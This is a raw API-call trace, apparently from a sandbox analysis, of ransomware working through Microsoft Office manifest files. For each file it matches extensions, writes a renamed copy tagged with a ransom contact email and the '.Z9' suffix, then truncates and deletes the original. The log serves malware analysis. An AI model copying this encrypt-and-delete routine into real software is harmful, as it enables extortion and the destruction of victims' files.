	[0078.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml") returned 104
	[0078.717] lstrlenW (lpString=".1cd") returned 4
	[0078.717] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0078.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml") returned 104
	[0078.717] lstrlenW (lpString=".jpg") returned 4
	[0078.717] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0078.717] lstrcmpiW (lpString1=".xml", lpString2=".Z9") returned -1
	[0078.717] lstrlenW (lpString="AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml") returned 53
	[0078.718] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0078.718] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=1261) returned 1
	[0078.718] CloseHandle (hObject=0x384) returned 1
	[0078.718] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0409-1000-0000000ff1ce.xml")) returned 0x220
	[0078.718] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0409-1000-0000000ff1ce.xml.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0078.718] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0078.718] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.718] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.718] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0409-1000-0000000ff1ce.xml.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0078.718] GetLastError () returned 0x0
	[0078.719] ReadFile (in: hFile=0x384, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x4ed, lpOverlapped=0x0) returned 1
	[0078.991] WriteFile (in: hFile=0x374, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0x4f0, lpOverlapped=0x0) returned 1
	[0078.992] ReadFile (in: hFile=0x384, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0078.992] WriteFile (in: hFile=0x374, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0x13e, lpOverlapped=0x0) returned 1
	[0078.992] SetEndOfFile (hFile=0x374) returned 1
	[0080.066] CloseHandle (hObject=0x374) returned 1
	[0080.116] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0080.116] SetEndOfFile (hFile=0x384) returned 1
	[0080.167] CloseHandle (hObject=0x384) returned 1
	[0080.184] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0080.188] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0409-1000-0000000ff1ce.xml")) returned 1
	[0080.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml") returned 104
	[0080.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml") returned 104
	[0080.192] lstrlenW (lpString=".doc") returned 4
	[0080.192] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0080.192] lstrlenW (lpString=".docx") returned 5
	[0080.192] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0080.192] lstrlenW (lpString=".pdf") returned 4
	[0080.192] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0080.192] lstrlenW (lpString=".xls") returned 4
	[0080.192] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0080.192] lstrlenW (lpString=".xlsx") returned 5
	[0080.192] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0080.192] lstrlenW (lpString=".ppt") returned 4
	[0080.192] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0080.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml") returned 104
	[0080.192] lstrlenW (lpString=".zip") returned 4
	[0080.192] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0080.193] lstrlenW (lpString=".rar") returned 4
	[0080.193] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0080.193] lstrlenW (lpString=".bz2") returned 4
	[0080.193] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0080.193] lstrlenW (lpString=".7z") returned 3
	[0080.193] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0080.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml") returned 104
	[0080.193] lstrlenW (lpString=".dbf") returned 4
	[0080.193] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0080.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml") returned 104
	[0080.193] lstrlenW (lpString=".1cd") returned 4
	[0080.193] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0080.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml") returned 104
	[0080.193] lstrlenW (lpString=".jpg") returned 4
	[0080.193] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0080.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml") returned 104
	[0080.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml") returned 104
	[0080.193] lstrlenW (lpString=".doc") returned 4
	[0080.193] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0080.193] lstrlenW (lpString=".docx") returned 5
	[0080.193] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0080.193] lstrlenW (lpString=".pdf") returned 4
	[0080.193] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0080.194] lstrlenW (lpString=".xls") returned 4
	[0080.194] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0080.194] lstrlenW (lpString=".xlsx") returned 5
	[0080.194] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0080.194] lstrlenW (lpString=".ppt") returned 4
	[0080.194] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0080.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml") returned 104
	[0080.194] lstrlenW (lpString=".zip") returned 4
	[0080.194] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0080.194] lstrlenW (lpString=".rar") returned 4
	[0080.194] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0080.194] lstrlenW (lpString=".bz2") returned 4
	[0080.194] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0080.194] lstrlenW (lpString=".7z") returned 3
	[0080.194] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0080.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml") returned 104
	[0080.194] lstrlenW (lpString=".dbf") returned 4
	[0080.194] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0080.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml") returned 104
	[0080.194] lstrlenW (lpString=".1cd") returned 4
	[0080.194] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0080.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml") returned 104
	[0080.194] lstrlenW (lpString=".jpg") returned 4
	[0080.194] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0080.194] lstrcmpiW (lpString1=".xml", lpString2=".Z9") returned -1
	[0080.194] lstrlenW (lpString="AppXManifestLoc.en-us.xml") returned 25
	[0080.194] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifestloc.en-us.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0080.195] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=9831) returned 1
	[0080.195] CloseHandle (hObject=0x374) returned 1
	[0080.195] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifestloc.en-us.xml")) returned 0x220
	[0080.195] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifestloc.en-us.xml.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0080.195] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifestloc.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0080.195] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0080.195] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0080.195] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifestloc.en-us.xml.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0080.195] GetLastError () returned 0x0
	[0080.195] ReadFile (in: hFile=0x374, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x2667, lpOverlapped=0x0) returned 1
	[0080.197] WriteFile (in: hFile=0x384, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0x2670, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0x2670, lpOverlapped=0x0) returned 1
	[0080.198] ReadFile (in: hFile=0x374, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0080.198] WriteFile (in: hFile=0x384, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0x106, lpOverlapped=0x0) returned 1
	[0080.198] SetEndOfFile (hFile=0x384) returned 1
	[0080.198] CloseHandle (hObject=0x384) returned 1
	[0080.199] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0080.199] SetEndOfFile (hFile=0x374) returned 1
	[0080.200] CloseHandle (hObject=0x374) returned 1
	[0080.200] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0080.200] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifestloc.en-us.xml")) returned 1
	[0080.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml") returned 76
	[0080.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml") returned 76
	[0080.201] lstrlenW (lpString=".doc") returned 4
	[0080.201] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0080.201] lstrlenW (lpString=".docx") returned 5
	[0080.201] lstrcmpiW (lpString1=".docx", lpString2="s.xml") returned -1
	[0080.201] lstrlenW (lpString=".pdf") returned 4
	[0080.201] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0080.201] lstrlenW (lpString=".xls") returned 4
	[0080.201] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0080.201] lstrlenW (lpString=".xlsx") returned 5
	[0080.201] lstrcmpiW (lpString1=".xlsx", lpString2="s.xml") returned -1
	[0080.201] lstrlenW (lpString=".ppt") returned 4
	[0080.201] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0080.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml") returned 76
	[0080.201] lstrlenW (lpString=".zip") returned 4
	[0080.201] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0080.201] lstrlenW (lpString=".rar") returned 4
	[0080.201] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0080.201] lstrlenW (lpString=".bz2") returned 4
	[0080.201] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0080.201] lstrlenW (lpString=".7z") returned 3
	[0080.201] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0080.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml") returned 76
	[0080.201] lstrlenW (lpString=".dbf") returned 4
	[0080.201] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0080.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml") returned 76
	[0080.201] lstrlenW (lpString=".1cd") returned 4
	[0080.201] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0080.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml") returned 76
	[0080.201] lstrlenW (lpString=".jpg") returned 4
	[0080.201] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0080.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml") returned 76
	[0080.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml") returned 76
	[0080.201] lstrlenW (lpString=".doc") returned 4
	[0080.201] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0080.201] lstrlenW (lpString=".docx") returned 5
	[0080.202] lstrcmpiW (lpString1=".docx", lpString2="s.xml") returned -1
	[0080.202] lstrlenW (lpString=".pdf") returned 4
	[0080.202] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0080.202] lstrlenW (lpString=".xls") returned 4
	[0080.202] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0080.202] lstrlenW (lpString=".xlsx") returned 5
	[0080.202] lstrcmpiW (lpString1=".xlsx", lpString2="s.xml") returned -1
	[0080.202] lstrlenW (lpString=".ppt") returned 4
	[0080.202] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0080.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml") returned 76
	[0080.202] lstrlenW (lpString=".zip") returned 4
	[0080.202] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0080.202] lstrlenW (lpString=".rar") returned 4
	[0080.202] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0080.202] lstrlenW (lpString=".bz2") returned 4
	[0080.202] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0080.202] lstrlenW (lpString=".7z") returned 3
	[0080.202] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0080.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml") returned 76
	[0080.202] lstrlenW (lpString=".dbf") returned 4
	[0080.202] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0080.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml") returned 76
	[0080.202] lstrlenW (lpString=".1cd") returned 4
	[0080.202] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0080.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml") returned 76
	[0080.202] lstrlenW (lpString=".jpg") returned 4
	[0080.202] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0080.202] lstrcmpiW (lpString1=".xml", lpString2=".Z9") returned -1
	[0080.202] lstrlenW (lpString="AuthoredExtensions.xml") returned 22
	[0080.202] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\authoredextensions.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0080.203] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=373) returned 1
	[0080.203] CloseHandle (hObject=0x374) returned 1
	[0080.203] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\authoredextensions.xml")) returned 0x220
	[0080.203] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\authoredextensions.xml.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0080.203] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\authoredextensions.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0080.203] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0080.203] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0080.203] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\authoredextensions.xml.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0080.203] GetLastError () returned 0x0
	[0080.203] ReadFile (in: hFile=0x374, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x175, lpOverlapped=0x0) returned 1
	[0080.204] WriteFile (in: hFile=0x384, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0x180, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0x180, lpOverlapped=0x0) returned 1
	[0080.205] ReadFile (in: hFile=0x374, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0080.205] WriteFile (in: hFile=0x384, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0x100, lpOverlapped=0x0) returned 1
	[0080.206] SetEndOfFile (hFile=0x384) returned 1
	[0080.206] CloseHandle (hObject=0x384) returned 1
	[0080.207] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0080.207] SetEndOfFile (hFile=0x374) returned 1
	[0080.208] CloseHandle (hObject=0x374) returned 1
	[0080.208] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0080.208] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\authoredextensions.xml")) returned 1
	[0080.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml") returned 73
	[0080.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml") returned 73
	[0080.209] lstrlenW (lpString=".doc") returned 4
	[0080.209] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0080.209] lstrlenW (lpString=".docx") returned 5
	[0080.209] lstrcmpiW (lpString1=".docx", lpString2="s.xml") returned -1
	[0080.209] lstrlenW (lpString=".pdf") returned 4
	[0080.209] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0080.209] lstrlenW (lpString=".xls") returned 4
	[0080.209] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0080.209] lstrlenW (lpString=".xlsx") returned 5
	[0080.209] lstrcmpiW (lpString1=".xlsx", lpString2="s.xml") returned -1
	[0080.209] lstrlenW (lpString=".ppt") returned 4
	[0080.209] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0080.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml") returned 73
	[0080.209] lstrlenW (lpString=".zip") returned 4
	[0080.209] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0080.209] lstrlenW (lpString=".rar") returned 4
	[0080.209] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0080.209] lstrlenW (lpString=".bz2") returned 4
	[0080.209] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0080.209] lstrlenW (lpString=".7z") returned 3
	[0080.209] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0080.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml") returned 73
	[0080.209] lstrlenW (lpString=".dbf") returned 4
	[0080.209] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0080.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml") returned 73
	[0080.209] lstrlenW (lpString=".1cd") returned 4
	[0080.209] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0080.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml") returned 73
	[0080.209] lstrlenW (lpString=".jpg") returned 4
	[0080.209] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0080.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml") returned 73
	[0080.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml") returned 73
	[0080.210] lstrlenW (lpString=".doc") returned 4
	[0080.210] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0080.210] lstrlenW (lpString=".docx") returned 5
	[0080.210] lstrcmpiW (lpString1=".docx", lpString2="s.xml") returned -1
	[0080.210] lstrlenW (lpString=".pdf") returned 4
	[0080.210] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0080.210] lstrlenW (lpString=".xls") returned 4
	[0080.210] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0080.210] lstrlenW (lpString=".xlsx") returned 5
	[0080.210] lstrcmpiW (lpString1=".xlsx", lpString2="s.xml") returned -1
	[0080.210] lstrlenW (lpString=".ppt") returned 4
	[0080.210] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0080.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml") returned 73
	[0080.210] lstrlenW (lpString=".zip") returned 4
	[0080.210] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0080.210] lstrlenW (lpString=".rar") returned 4
	[0080.210] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0080.210] lstrlenW (lpString=".bz2") returned 4
	[0080.210] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0080.210] lstrlenW (lpString=".7z") returned 3
	[0080.210] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
